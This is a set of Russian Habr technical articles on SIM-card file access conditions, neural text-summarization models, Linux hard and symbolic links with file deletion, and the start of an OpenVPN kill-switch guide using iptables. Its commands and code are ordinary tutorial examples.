Для каждого файла и каждой операции карта хранит маппинг: обобщенная операция — условие доступа.
Например, для файла EF ICCID, в котором хранится [уникальный серийный номер карты](http://ru.wikipedia.org/wiki/SIM-%D0%BA%D0%B0%D1%80%D1%82%D0%B0#ICCID) (не путать с номером абонента мобильной связи), AC будут выглядеть так:
| Read | Update | Invalidate/Rehabilitate |
| --- | --- | --- |
| Always | Never | Never |
Для основной телефонной книги:
| Read | Update | Invalidate/Rehabilitate |
| --- | --- | --- |
| PIN1 | PIN1 | PIN2 |
Если предъявление определенного кода отключено, как сейчас часто операторы делают с PIN1, то данный код считается предъявленным с начала сеcсии карты.
Для операции SELECT все AC равны Always. Чтобы узнать AC для конкретного файла, необходимо его выбрать (SELECT), а потом выполнить команду GET RESPONSE.
К папкам на SIM-картах (MF и DF) AC вообще неприменимы. Когда над файлом выполняется недопустимая, с точки зрения AC, операция (вроде попытки выполнить обновление EF ICCID), то в выполнении операции будет отказано, а код ошибки будет предоставлен в SW.
Конечно же, то, что я здесь описал, не является реальной файловой системой — как правило, за этой абстракцией, на уровне ОС, спрятана знакомая всем FAT.
В завершение я просто обязан привести пример использования данного API в реальной жизни.
Думаю, многие уже догадались (или знали?), что самым известным и массовым устройством, использующим этот API постоянно и интенсивно, является обыкновенный мобильный терминал.
*PS:
В следующей статье планирую рассказать о том, как можно применить полученные сейчас знания, работая с картой программно.
PPS: Спасибо добрым людям за инвайт!* | https://habr.com/ru/post/210062/ | null | ru | null |
# Секреты генерирующего реферирования текстов
Эта статья посвящена основным современным моделям для генерирующего реферирования и генерации текста в целом: BertSumAbs, GPT, BART, T5 и PEGASUS, и их использованию для русского языка.
В отличие от извлекающих моделей, которые рассмотрены в предыдущих [двух](https://habr.com/ru/post/595517/) [статьях](https://habr.com/ru/post/595597/), эти модели создают новые тексты, а не только выделяют предложения из оригинального документа. Из-за этого они могут нетривиально изменять исходный текст: удалять слова или заменять их на синонимы, сливать и упрощать предложения, а значит делать ровно то, что делают люди при составлении рефератов.
Ещё десять лет назад методы из этой категории казались фантастикой. Развитие систем нейросетевого машинного перевода сделало генерирующее автоматическое реферирование намного более лёгкой задачей.
Серьёзные методы оценки качества реферирования будут в следующих частях цикла. Сейчас же для наглядности мы испытаем алгоритмы на одной конкретной [новости](https://nplus1.ru/news/2021/11/29/cortex-alternative-splicing) про секвенирование РНК клеток коры головного мозга. Это свежая новость, то есть модели заведомо не могли её видеть. К тому же она довольно сложная: 5.7 баллов по шкале N+1.
Кстати говоря, заголовок к этой статье написан одной из описываемых моделей.
**Другие заголовки от той же модели**
* Что нужно знать о современных моделях реферирования и генерации текста
* Что нужно знать об генерирующем реферировании текстов для русского языка
* Основные современные модели для генерирующего реферирования и генерации текста
* Основные модели генерации текста для русского языка: BertSumAbs, GPT, BART, T5 и PEGASUS
* Реферирование и генерация текста: основные современные модели
* Генерирующие модели для автоматического реферирования текстов
* Как автоматическое реферирование текстов может быть проще
* Как автоматически реферировать тексты для русского языка
* Как автоматизировать генерацию текста на русском языке
* Обзор основных современных моделей для автоматического реферирования текстов
* Автоматическое реферирование текстов: какие модели эффективны для русского языка
* Разработаны самые точные и надежные модели реферирования для русского языка
**Статьи цикла**
1) [Постановка задачи автоматического реферирования и методы без учителя](https://habr.com/ru/post/595517/)
2) [Извлекающие методы автоматического реферирования](https://habr.com/ru/post/595597/)
3) Секреты генерирующего реферирования текстов ⬅️
Seq2seq
-------
**Sequence-to-sequence** — семейство подходов для перевода одной последовательности в другую. В случае задачи реферирования в качестве входа служит набор токенов исходного документа, а в качестве выхода — набор токенов реферата. Входную последовательность обрабатывает **кодировщик**, а выходную генерирует **декодировщик**.
На каждом своём шаге декодировщик предсказывает распределение вероятностей для следующего генерируемого слова, . При обучении мы считаем функцию потерь как кросс-энтропию между предсказанным распределением вероятностей и унитарным кодом настоящего токена.
[Первые версии](https://arxiv.org/abs/1409.3215) sequence-to-sequence моделей использовали кодировщики и декодировщики из рекуррентных сетей. При этом начальным скрытым состоянием декодировщика было **последнее** скрытое состояние кодировщика. Подобная модель для задачи машинного перевода схематично изображена ниже.
### Механизм внимания
Проблема такой архитектуры — "узкое горлышко" в виде контекста из кодировщика , который фиксирован для всех шагов декодировщика. На разных шагах декодировщика мы хотели бы менять учитываемый контекст. Именно с этой целью и был создан [механизм внимания](https://arxiv.org/abs/1409.0473). Его идея в том, чтобы на разных шагах декодировщика по-разному взвешивать выходы кодировщика. При этом веса для этих выходов считаются на основе предыдущего выхода декодировщика и всех выходов кодировщика.
Вариант механизма внимания представлен на рисунке ниже. Есть и вариант, в котором мы считаем веса внимания на основе текущего, а не предыдущего выхода декодировщика, и подаём итоговый вектор контекста сразу в предсказатель распределения токенов.
### Pointer-Generator Network
В дотрансформерную эпоху было несколько модификаций рекуррентных seq2seq моделей для автоматического реферирования. Самая интересная из них — [Pointer-Generator Network](https://arxiv.org/abs/1704.04368), указательно-генеративная сеть.
Основная её идея заключается в том, чтобы наравне с генерацией новых токенов позволить модели **копировать** токены из исходной последовательности. Выбор между генерацией и копированием делается через шлюз , который вычисляется по формуле ниже.
При формировании итогового предсказания словарь искусственно расширяется на количество неизвестных слов во входной последовательности. Вероятности копируемых токенов берутся из **весов внимания** по этим токенам. Вероятности токенов из словаря домножаются на , а токенов из исходной последовательности — на . Схематично это представлено на рисунке ниже.
Кроме того, в этой модели использовался механизм покрывающего внимания, но я не буду на нём останавливаться.
Мне когда-то довелось написать [собственную PGN](https://github.com/IlyaGusev/summarus/blob/master/summarus/models/pgn.py) в рамках фреймворка [AllenNLP](https://allennlp.org/). Её реферат нашей новости представлен ниже. Модель пыталась скопировать первые два предложения исходного текста, но не совсем удачно.
> Биологи из Великобритании получили полный транскриптом клеток коры головного мозга. С помощью секвенирования третьего поколениями специалистам удалось обнаружить нейродегенеративных и психиатрических заболеваний.
BertSumAbs
----------
Помните BertSumExt из [предыдущей статьи](https://habr.com/ru/post/595597/)? Так вот BertSumAbs — это то же самое, но модель не выделяет предложения исходного текста, а генерирует новые в sequence-to-sequence варианте. Такой вариант Трансформера представлен на рисунке ниже.
Кодировщик у этой модели тот же, что и у BertSumExt, а в качестве декодировщика используется случайно инициализированный Трансформер из 6 слоёв. При этом приходится учить кодировщик и декодировщик с разными оптимизаторами из-за того, что у них разное количество слоёв и разная инициализация.
Кроме того, авторы предлагают гибридную схему BertSumExtAbs: сначала учим кодировщик на BertSumExt, а потом используем его в BertSumAbs. Это возможно благодаря тому, что кодировщики в этих двух моделях имеют полностью идентичную структуру.
GPT
---
GPT — семейство моделей ([GPT](https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/language-unsupervised/language_understanding_paper.pdf), [GPT-2](https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf), [GPT-3](https://arxiv.org/abs/2005.14165)), которые основаны на предобучении Трансформера-декодировщика на задачу **языкового моделирования**. Эта задача заключается в предсказании следующего токена по предыдущим, то есть в предсказании текста слева направо.
Для задачи автоматического реферирования мы конкатенируем текст и эталонный реферат для каждого обучающего примера через **специальный разделитель**. Модель учится при встрече с этим разделителем писать реферат всего текста до него.
В [статье про GPT-2](https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf) таким разделителем являлся текст "TL;DR:", а модель специально не доучивалась ни на каких примерах. В таком варианте модель показывает очень плохие результаты на уровне базового решения с выбором 3 случайных предложений.
Для **русского языка** существует [адаптация](https://github.com/sberbank-ai/ru-gpts) GPT-3 от Сбера. На основе этой адаптации я обучил модель для реферирования: [rugpt3medium\_sum\_gazeta](https://huggingface.co/IlyaGusev/rugpt3medium_sum_gazeta). Это [не первая](https://arxiv.org/abs/2108.03502) такая модель. Работает она сносно, но гораздо хуже полноценных sequence-to-sequence моделей, которые рассмотрим далее.
Реферат нашего примера представлен ниже. Это отличный реферат, в котором выделено всё самое главное. Не совсем корректная терминология, но зато понятно простому человеку. К сожалению, с этой моделью не всегда получается так хорошо.
> Британские биологи получили полный генетический транскриптом мозга, в котором содержатся РНК, ассоциированные с шизофренией и другими психическими заболеваниями.
BART
----
[BART](https://arxiv.org/abs/1910.13461) — sequence-to-sequence Трансформер, который предобучается **реконструкции испорченного зашумлённого текста**. Разработка [Facebook AI Research](https://ai.facebook.com/). На входе у модели каким-то образом испорченный текст, а на выходе ей надо сгенерировать его оригинальную версию.
BERT использует только кодировщик, GPT использует только декодировщик, а вот BART — полноценная sequence-to-sequence модель. Схематично это изображено на рисунке ниже.
Как зашумляется текст:
* Маскировка токенов (аналогично BERT)
* Удаление токенов
* Маскировка нескольких подряд идущих токенов одной маской
* Перемешивание предложений
* "Вращение" документа относительно случайного токена. То есть мы делаем этот токен началом документа, а всё, что было до него — переносим в конец.
BART предобучался на том же корпусе, что и [RoBERTa](https://arxiv.org/abs/1907.11692), то есть на составном корпусе из 4 частей: книг, новостей, документов по ссылкам из постов Reddit, кусочка Common Crawl.
Важно, что в отличие от BERT, эта модель сразу предобучается на генерации текста, и поэтому лучше подходит для автоматического реферирования. Наличие в задачах предобучения перемешиваний предложений и "вращений" документов также помогает при дальнейшем дообучении.
Кроме английской версии BART, была обучена ещё и **многоязычная версия** этой модели, [mBART](https://arxiv.org/abs/2001.08210). Она обучалась на многоязычном корпусе CC25, подмножестве Common Crawl из 25 языков. При предобучении использовались одноязычные части корпуса, то есть никаких переводов модель не видела.
**Русский язык** там второй по степени представленности после английского. Это позволяет использовать эту модель и для русского языка тоже. Вот моя модель на основе mBART для автоматического реферирования на русском языке: [mbart\_ru\_sum\_gazeta](https://huggingface.co/IlyaGusev/mbart_ru_sum_gazeta). Модель довольно хороша, и с реферированием новостей может справляться не хуже некоторых людей, что подтверждается в [этой статье](https://arxiv.org/abs/2006.11063).
Её реферат нашего примера представлен ниже. Модель отлично отработала и выделила самое главное. Единственная проблема — "уже упомянутые" болезни, которые в реферате до этого упомянуты не были.
> В клетках коры головного мозга обнаружены изоформы генов, связанных с развитием нейродегенеративных и психиатрических заболеваний, выяснили британские биологи. Они надеются, что это поможет установить причины таких заболеваний как уже упомянутые болезнь Альцгеймера и шизофрения.
T5
--
[T5](https://arxiv.org/abs/1910.10683) — ещё один sequence-to-sequence Трансформер, глобально аналогичный BART, разработка [Google Research](https://research.google/).
T5 предобучается на **задаче восстановления промежутков**, то есть наборов подряд идущих токенов. При обучении промежутки исходного текста скрываются, и задача модели их сгенерировать. В отличие от BART, где текст генерируется целиком, T5 нужно сгенерировать только сами скрытые промежутки. Схематично это изображено на рисунке ниже.
Есть и некоторые небольшие архитектурные различия, а именно:
* **LayerNorm перед сложением**. В классическом Трансформере используется LayerNorm, который применяется *после* сложения с остаточными связями с предыдущего слоя. В T5 LayerNorm применяется *до* сложения.
* **Упрощённый LayerNorm**. В самом блоке LayerNorm используется масштабирование (scale), но не используется смещение (bias).
* **Относительные позиционнные эмбеддинги**. В классическом Трансформере позиционные эмбеддинги фиксированы и складываются со входами модели. В T5 позиционные эмбеддинги встроены непосредственно в механизм внимания и зависят только от относительного расстояния между входами, аналогично [этой работе](https://arxiv.org/abs/1803.02155).
Модель предобучается на наборе данных, который представляет из себя очищенный Common Crawl с документами только на английском языке. Называется он C4 — Colossal Clean Crawled Corpus.
mBART vs mT5 — это Facebook vs Google. Какая из моделей лучше? С точки зрения общих соображений, mBART должен быть лучше, потому что его задачи предобучения больше подходят под реферирование. С другой стороны, у mT5 получше архитектура. Как всегда, для своих задач стоит попробовать оба варианта.
Аналогично mBART, кроме английской версии T5, была обучена ещё и **многоязычная версия** этой модели, [mT5](https://arxiv.org/abs/2010.11934). Она обучена на подмножестве Common Crawl для 101 языка, mC4.
После этого модель [была обрезана](https://towardsdatascience.com/how-to-adapt-a-multilingual-t5-model-for-a-single-language-b9f94f3d9c90) под **русский язык** Давидом Дале([cointegrated](https://habr.com/ru/users/cointegrated/)) и выложена в открытый доступ в таком виде как [ruT5](https://huggingface.co/cointegrated/rut5-base). Такая модель помещается на многие потребительские видеокарты, в том числе стало возможно её дообучение без особых сложностей под задачу автоматического реферирования текстов на русском языке.
Ровно это я и сделал: [rut5\_base\_sum\_gazeta](https://huggingface.co/IlyaGusev/rut5_base_sum_gazeta). Это же сделал и сам Давид, но на составном корпусе из 4 источников: [rut5-base-absum](https://huggingface.co/cointegrated/rut5-base-absum).
Реферат моей модели ниже. Первое предложение — незначительная перефраза одного из предложений текста. Может показаться, что второе предложение противоречит тексту, но это не так.
> С помощью секвенирования третьего поколения ученые обнаружили изоформы РНК генов, связанных с развитием нейродегенеративных и психиатрических заболеваний. Это позволит установить различия в профилях РНК у больных и здоровых людей, таких как болезнь Альцгеймера и шизофрения.
PEGASUS
-------
[PEGASUS](https://arxiv.org/abs/1912.08777) — модель со специально подобранной под автоматическое реферирование задачей предобучения. С точки зрения архитектуры это обычный sequence-to-sequence Трансформер, как и предыдущие две модели. Но вместо восстановления случайных кусков текста предлагается использовать задачу **генерации пропущенных предложений**. Она заключается в том, что мы выбираем самые важные предложения из документа, заменяем их на токен-маску, формируем из них квазиреферат, и пытаемся этот квазиреферат сгенерировать. Эту задачу можно решать одновременно в паре с маскированным языковым моделированием.
Авторы предлагают 3 основных стратегии выбирать важные предложения: случайно; брать первые несколько предложений; брать несколько предложения по некой мере важности. В качестве меры важности можно брать похожесть предложений на оставшийся текст по ROUGE или даже жадно набирать квазиреферат аналогично методу "оракула" из [предыдущей статьи](https://habr.com/ru/post/595597/).
PEGASUS выигрывает у BART и T5 на всех основных наборах данных, особенно при использовании другого корпуса для предобучения, HugeNews, который составляли сами авторы, и который состоит из 1.5 миллиардов новостных документов.
К сожалению, никаких адаптаций этой модели для русского языка нет и пока не предвидится.
Стратегии декодирования
-----------------------
С генерацией слева направо связана одна фундаментальная проблема, а именно проблема поиска оптимального пути в пространстве состояний. Эта проблема касается всех вышеописанных моделей. Она описывается формулой ниже, где  — все возможные генерируемые последовательности,  — исходная последовательность,  — последовательность с максимальной вероятностью.
На каждом шаге декодировщика выдаётся распределение вероятностей для следующего токена. Самая простая стратегия — наивная **жадная**, то есть такая, в которой мы на каждом шаге мы выбираем максимально вероятный токен. Такая стратегия выбирает локально-оптимальный путь, а значит общая вероятность выбранной последовательности не обязательно минимальна.
Для этой задачи без дополнительных ограничений глобально-оптимальный путь можно найти **перебором**. Однако, на практике его невозможно использовать: его сложность , где  — количество токенов на выходе, а  — размер словаря.
Поэтому приходится использовать эвристики, которые выдают результат хуже перебора, но лучше наивного жадного алгоритма. Главная эвристика называется **лучевым поиском**. Её суть в том, что мы берём топ-N вероятных состояний на каждом шаге и высчитываем продолжения только для них. При  это в точности наивный жадный алгоритм, а при  — перебор. На рисунке ниже изображён лучевой поиск с . На каждом шаге, кроме первого, генерируется  вариантов, из которых отбирается  лучших. Отбор можно делать за линейное время без сортировки. Сложность всего алгоритма: .
Пример использования лучевого поиска с  в transformers:
```
output_ids = model.generate(
input_ids=input_ids,
num_beams=5
)
```
Кроме детерминированных алгоритмов поиска, также возможны различные методы **семплирования**, в которых мы выбираем случайное продолжение либо из лучших K токенов по вероятности, либо из набора токенов, покрывающего P% вероятности.
Пример использования семплирования с  в transformers:
```
output_ids = model.generate(
input_ids=input_ids,
do_sample=True,
top_k=50
)
```
Возможно ещё и изменение **температуры** генерации в softmax-функции. Температура — это  в формуле ниже. Чем выше температура, тем сглаженнее распределение. При , распределение превращается в равномерное. При  распределение превращается в вырожденное: топ-1 токен имеет вероятность 1, а остальные — 0. С точки зрения людей, чем выше температура, тем "новее" выглядит текст.
Пример использования температуры  в transformers:
```
output_ids = model.generate(
input_ids=input_ids,
temperature=0.5
)
```
Заключение
==========
После выхода BERT в 2018 году, все последующие значимые модели для обработки естественного языка используют Трансформеры в том или ином виде. BERT, BART, T5, GPT, PEGASUS — все основаны на Трансформерах. Ещё две недели назад я бы написал "они точно с нами надолго", но после [прорыва на LRA](https://paperswithcode.com/sota/long-range-modeling-on-lra) я уже не так в этом уверен.
PEGASUS является прекрасным примером успешного подбора и использования специализированной задачи предобучения под автоматическое реферирование. Кажется, что если улучшить механизм отбора маскируемых предложений, можно получить результаты ещё лучше. Жалко только, что для русского таких моделей пока нет.
Вы можете сравнить некоторые из моделей для русского языка на своих задачах:
* mBART, реферирование, Gazeta: [mbart\_ru\_sum\_gazeta](https://huggingface.co/IlyaGusev/mbart_ru_sum_gazeta)
* ruT5-base, реферирование, Gazeta: [rut5\_base\_sum\_gazeta](https://huggingface.co/IlyaGusev/rut5_base_sum_gazeta)
* ruT5-base, генерация заголовков, Telegram contest: [rut5\_base\_headline\_gen\_telegram](https://huggingface.co/IlyaGusev/rut5_base_headline_gen_telegram)
* ruT5-base, реферирование, составной корпус: [rut5-base-absum](https://huggingface.co/cointegrated/rut5-base-absum)
* ruGPT3-medium, реферирование, Gazeta: [rugpt3medium\_sum\_gazeta](https://huggingface.co/IlyaGusev/rugpt3medium_sum_gazeta)
* mT5-base, реферирование, XLSum: [mT5\_multilingual\_XLSum](https://huggingface.co/csebuetnlp/mT5_multilingual_XLSum)
Что осталось за кадром? Другой древний механизм копирования, [CopyNet](https://arxiv.org/pdf/1603.06393.pdf). Модель на основе N-граммных предсказаний, [ProphetNet](https://arxiv.org/pdf/2001.04063v3.pdf). Трансформеры для длинных текстов, такие как [LED](https://arxiv.org/pdf/2004.05150.pdf) или [BigBird](https://arxiv.org/pdf/2007.14062.pdf). Основанная на них модель для сводного реферирования, [PRIMER](https://arxiv.org/pdf/2110.08499.pdf).
В следующих статьях будет обзор на метрики и обзор на доступные наборы данных. Надеюсь, какие-то из моделей выше пригодятся. Удачи! | https://habr.com/ru/post/596481/ | null | ru | null |
# Основы Linux от основателя Gentoo. Часть 1 (3/4): Ссылки, а также удаление файлов и директорий
Третий отрывок из перевода первой части руководства. Предыдущие: [первый](/post/99041/), [второй](/post/99291/).
В этом отрывке рассмотрены жесткие и символические ссылки, а также разобрано удаление файлов и директорий с помощью команд rm и rmdir.
Создание ссылок и удаление файлов
---------------------------------
### Жесткие ссылки
Мы уже упоминали термин «ссылка», когда рассказывали о взаимоотношениях между директориями (их именами) и инодами (индексным номерами, лежащими в основе файловой системы, которых мы не замечаем). Вообще в Linux существует два типа ссылок. Тип, о котором мы уже говорили ранее, называется «жесткие ссылки». Каждый инод может иметь произвольное число жестких ссылок. Когда уничтожается последняя жесткая ссылка, и не одна программа не держит файл открытым, то Linux автоматически удаляет его. Новые жесткие ссылки можно создать воспользовавшись командой ln:
````
$ **cd /tmp**
$ **touch firstlink**
$ **ln firstlink secondlink**
$ **ls -i firstlink secondlink**
15782 firstlink 15782 secondlink
````
Как видите, жесткие ссылки работают на уровне инодов, для указания конкретного файла. В Linux системах, для жестких ссылок есть несколько ограничений. В частности, можно создавать жесткие ссылки только на файлы, не на директории. Да-да, именно так; хотя "." и ".." являются созданными системой жесткими ссылками на директории, вам (даже от имени пользователя «root») не разрешается создавать любые свои собственные. Второе ограничение жестких ссылок состоит в том, что нельзя связать ими несколько файловых систем. Это значит, что у вас не получится создать жесткую ссылку с */usr/bin/bash* на */bin/bash* и если ваши директории */* и */usr* находятся в разных файловых системах (разделах — прим. пер.).
### Символьные ссылки
В практике, символьные ссылки (или символические, иногда «симлинки» — от англ.) используются гораздо чаще, чем жесткие. Симлинки — это файлы особого типа, которые ссылаются на другие файлы по имени, а не прямо по номеру инода. Они не спасают файлы от удаления; если файл, на который указывает ссылка, исчезает, то симлинк перестает работать, ломается.
Символические ссылки можно создать передав для ln опцию -s.
````
$ **ln -s secondlink thirdlink**
$ **ls -l firstlink secondlink thirdlink**
-rw-rw-r-- 2 agriffis agriffis 0 Dec 31 19:08 firstlink
-rw-rw-r-- 2 agriffis agriffis 0 Dec 31 19:08 secondlink
lrwxrwxrwx 1 agriffis agriffis 10 Dec 31 19:39 thirdlink -> secondlink
````
В выводе ls -l символьные ссылки можно отличить тремя способами. Во-первых, обратите внимание на символ l в первой колонке. Во-вторых, размер символической ссылки равен количеству символов в ней (*secondlink* в нашем случае). В-третьих, последняя колонка в выводе показывает куда ведет ссылка с помощью интуитивного обозначения "->".
### Симлинки детально
Символические ссылки в целом более гибкие, чем жесткие. Вы можете создавать символьные ссылки на любой объект файловой системы, включая директории. И благодаря тому, что их реализация основана на путях (не инодах), можно совершенно свободно создать символьную ссылку указывающую на объект другой файловой системы. Однако, сей факт также делает их сложными в понимании.
Предположим, что мы хотим создать ссылку в */tmp*, которая указывает на */usr/local/bin*. Нам следует набрать:
````
$ **ln -s /usr/local/bin bin1**
$ **ls -l bin1**
lrwxrwxrwx 1 root root 14 Jan 1 15:42 bin1 -> /usr/local/bin
````
Либо, альтернативный вариант:
````
$ **ln -s ../usr/local/bin bin2**
$ **ls -l bin2**
lrwxrwxrwx 1 root root 16 Jan 1 15:43 bin2 -> ../usr/local/bin
````
Как вы видите, обе символические ссылки указывают на одну директорию. Однако, если наша вторая символьная ссылка когда-нибудь будет перемещена в другую директорию, то она может «поломаться» из-за относительности пути:
````
$ **ls -l bin2**
lrwxrwxrwx 1 root root 16 Jan 1 15:43 bin2 -> ../usr/local/bin
```
$ **mkdir mynewdir**
$ **mv bin2 mynewdir**
$ **cd mynewdir**
$ **cd bin2**
bash: cd: bin2: No such file or directory`
Потому, что директории */tmp/usr/local/bin* не существует, мы больше не можем переместиться в *bin2*; другими словами, *bin2* сейчас сломана.
По этой причине, избегать создания ссылок с относительной информацией о пути, иногда будет хорошей идеей. Тем не менее, существует множество случаев, где относительные символические ссылки крайне удобны. Рассмотрим пример в котором мы хотим создать альтернативное имя для программы в */usr/bin*:
````
# **ls -l /usr/bin/keychain**
-rwxr-xr-x 1 root root 10150 Dec 12 20:09 /usr/bin/keychain
````
От имени суперпользователя мы хотим короткий синоним для *keychain*, такой, как *kc*. В этом примере у нас есть root-доступ, о чем свидетельствует измененное на "#" приветствие bash. Нам нужен root-доступ потому, что обычные пользователи не имеют прав создавать файлы в */usr/bin*. От имени суперпользователя мы можем создать альтернативное имя для *keychain* следующим образом:
````
# **cd /usr/bin**
# **ln -s /usr/bin/keychain kc**
# **ls -l keychain**
-rwxr-xr-x 1 root root 10150 Dec 12 20:09 /usr/bin/keychain
```
# **ls -l kc**
```
lrwxrwxrwx 1 root root 17 Mar 27 17:44 kc -> /usr/bin/keychain
````
В этом примере мы создали символьную ссылку под названием kc, которая указывает на файл */usr/bin/keychain*.
Пока это решение будет работать, но создаст проблему, если мы решим переместить оба файла, */usr/bin/keychain* и */usr/bin/kc* в */usr/local/bin*:
````
# **mv /usr/bin/keychain /usr/bin/kc /usr/local/bin**
# **ls -l /usr/local/bin/keychain**
-rwxr-xr-x 1 root root 10150 Dec 12 20:09 /usr/local/bin/keychain
```
# **ls -l /usr/local/bin/kc**
```
lrwxrwxrwx 1 root root 17 Mar 27 17:44 kc -> /usr/bin/keychain
````
Поскольку мы использовали абсолютный путь для символической ссылки *kc*, то она все еще ссылается на */usr/bin/keychain*, которого не существует с тех пор как мы переместили */usr/bin/keychain* в */usr/local/bin*.
Это привело к тому, что симлинк kc сейчас не работает. Как относительные, так и абсолютные пути в символьных ссылках имеют свои достоинства, и, в зависимости от вашей задачи, нужно использовать соответствующий тип пути. Часто, и относительный, и абсолютный путь, будут работать одинаково хорошо. Пример ниже будет работать, даже после перемещения обоих файлов:
````
# **cd /usr/bin**
# **ln -s keychain kc**
# **ls -l kc**
lrwxrwxrwx 1 root root 8 Jan 5 12:40 kc -> keychain
```
# **mv keychain kc /usr/local/bin**
# **ls -l /usr/local/bin/keychain**
```
-rwxr-xr-x 1 root root 10150 Dec 12 20:09 /usr/local/bin/keychain
```
# **ls -l /usr/local/bin/kc**
```
lrwxrwxrwx 1 root root 17 Mar 27 17:44 kc -> keychain
````
Теперь, мы можем запустить программу *keychain* набрав */usr/local/bin/kc*. */usr/local/bin/kc* указывает на программу *keychain* в той же директории, где находится *kc*.
### rm
Итак, мы знаем как использовать cp, mv и ln, настало время узнать о том, как можно удалять объекты из файловой системы. Обычно это делается с помощью команды rm. Чтобы удалить файлы, просто укажите их в командной строке:
````
$ **cd /tmp**
$ **touch file1 file2**
$ **ls -l file1 file2**
-rw-r--r-- 1 root root 0 Jan 1 16:41 file1
-rw-r--r-- 1 root root 0 Jan 1 16:41 file2
```
$ **rm file1 file2**
$ **ls -l file1 file2**
ls: file1: No such file or directory
ls: file2: No such file or directory`
Имейте ввиду, что под Linux, однажды удаленный файл, обычно исчезает на века. Поэтому многие начинающие системные администраторы используют опцию -i, когда удаляют файлы. Опция -i сообщает rm удалять файлы в интерактивном режиме — это значит спрашивать перед удалением любого файла. Например:
`$ **rm -i file1 file2**
rm: remove regular empty file `file1'? y
rm: remove regular empty file `file2'? y`
В примере выше команда rm запрашивает подтверждение на удаление каждого из указанных файлов. В случае согласия, я должен был вводить «y» и нажать enter, дважды. Если бы я ввел «n», то файл бы остался цел. Или, если я сделал что-нибудь не так, я мог бы нажать Control-C и сбросить выполнение команды rm -i целиком — всяко до того, как это могло нанести какой-нибудь ущерб моей системе.
Если вы все еще учитесь пользоваться командой rm, то может быть полезным добавить при помощи вашего любимого текстового редактора следующую строку в ваш файл *~/.bashrc*, и затем выйти (logout) и войти (login) в систему вновь. После этого, всякий раз, когда вы наберете rm, оболочка bash преобразует ее автоматически в команду rm -i. Таким образом, rm будет всегда работать в интерактивном режиме:
`**alias rm="rm -i"**`
### rmdir
Для удаления директорий у вас имеется два варианта. Вы можете удалить все объекты внутри директории и затем воспользоваться rmdir для удаления самой директории:
`$ **mkdir mydir**
$ **touch mydir/file1**
$ **rm mydir/file1**
$ **rmdir mydir**`
Этот метод широко известен под названием «способ удаления директорий для лохов». Все реальные пацаны и админы-гуру съевшие ~~пользователя~~ собаку на этом деле, используют гораздо более удобную команду rm -rf, описанную далее.
Самый лучший способ удалить директорию состоит в использовании опций «рекурсивного принуждения» (recursive force) команды rm, чтобы приказать ей удалять указанную директорию, также как и объекты содержащиеся внутри:
`$ **rm -rf mydir**`
Обычно, rm -rf является наиболее предпочтительным методом для удаления древа директорий. Будьте очень осторожны, когда пользуетесь rm -rf, так как ее мощь может быть использована по обе стороны: добра и зла. =)
**[Продолжение...](/post/99827/)**
---
Об авторах
----------
### Daniel Robbins
Дэниэль Роббинс — основатель сообщества Gentoo и создатель операционной системы Gentoo Linux. Дэниэль проживает в Нью-Мехико со свой женой Мэри и двумя энергичными дочерьми. Он также основатель и глава [Funtoo](http://www.funtoo.org/), написал множество технических статей для [IBM developerWorks](http://www.ibm.com/developerworks/), Intel Developer Services и C/C++ Users Journal.
### Chris Houser
Крис Хаусер был сторонником UNIX c 1994 года, когда присоединился к команде администраторов университета Тэйлора (Индиана, США), где получил степень бакалавра в компьютерных науках и математике. После он работал во множестве областей, включая веб-приложения, редактирование видео, драйвера для UNIX и криптографическую защиту. В настоящий момент работает в Sentry Data Systems. Крис также сделал вклад во множество свободных проектов, таких как Gentoo Linux и Clojure, стал соавтором книги [The Joy of Clojure](http://joyofclojure.com).
### Aron Griffis
Эйрон Гриффис живет на территории Бостона, где провел последнее десятилетие работая в Hewlett-Packard над такими проектами, как сетевые UNIX-драйвера для Tru64, сертификация безопасности Linux, Xen и KVM виртуализация, и самое последнее — платформа [HP ePrint](http://hpeprint.com/). В свободное от программирования время Эйрон предпочитает размыщлять над проблемами программирования катаясь на своем велосипеде, жонглируя битами, или болея за бостонскую профессиональную бейсбольную команду «Красные Носки». | https://habr.com/ru/post/99653/ | null | ru | null |
# Kill switch для OpenVPN на основе iptables
Известно, что при подключении к открытым Wi-Fi сетям ваш трафик может быть легко прослушан. Конечно, сейчас всё больше и больше сайтов используют HTTPS. Тем не менее, это ещё далеко не 100%. Возникает естественное желание обезопасить свой трафик при подключении к таким открытым Wi-Fi сетям.
Популярное решение этой проблемы — подключение через VPN. В таком случае ваш трафик передается в зашифрованном виде до VPN-сервера, и уже оттуда идет в интернет.
У такого решения есть небольшой недостаток: пока VPN-подключение ещё не установлено, все приложения на вашем компьютере (включая открытые вкладки браузера) получают доступ в интернет в обход VPN-подключения.
В этой статье я расскажу, как можно этого избежать.
#### Идея
Как мы будет решать эту проблему?
В общих чертах, мы хотим заблокировать весь доступ к сети всем приложениям с двумя исключениями:* Разрешить доступ через сетевой интерфейс VPN.
* Разрешить процессу OpenVPN доступ в интернет напрямую, чтобы тот мог установить VPN-подключение.
Мы будем делать это при помощи iptables.
Если первый пункт решается очень просто, то второй вызывает вопросы. В iptables нельзя писать правила, которые бы сопоставляли название процесса.
Можно разрешить в iptables доступ к жестко прописанному IP VPN-сервера всем процессам (в предположении, что никаких других соединений по этому IP не производится). Это решение плохо тем, что мы не сможем подключаться к серверу по хостнейму. Кроме того, возникают проблемы с captive portal. Если какая-то точка доступа требует предварительно зайти на веб-страницу и щелкнуть там «Согласен», придется как-то вручную прописывать исключение. Поэтому такое решение является далеко не идеальным.
Одно из решений основано на использовании групп. iptables умеет сопоставлять пакеты по GID процесса, который эти пакеты отправил. Такое решение является весьма простым и эффективным. Но если какому-то процессу вдруг захочется поменять свой GID, он сразу же потеряет доступ в интернет.
Второй возможный вариант — использовать cgroups. Мы можем создать особую cgroup и помещать туда процессы, которым нужен свободный доступ в интернет, и всем пакетам, отсылаемым такими процессами, будет выставлять метка, по которой можно их матчить в iptables. Преимущество такого подхода состоит в том, что не нужно менять группу процесса, которая может быть использоваться ещё для чего-то. Требуется только назначить подсистеме net\_cls конкретную cgroup. Плюс, в отличие от варианта с обычным группами, процесс можно переносить из одной cgroup в другую «на ходу», без перезапуска. Недостатки метода: более сложная настройка, требуется недавно вышедший iptables v1.6.0 (которого в большинство дистрибутивов ещё не добавили).
Я поподробнее рассмотрю вариант с обычными группами, и в конце поста вкратце опишу, как это можно сделать с cgroups.
#### Требования
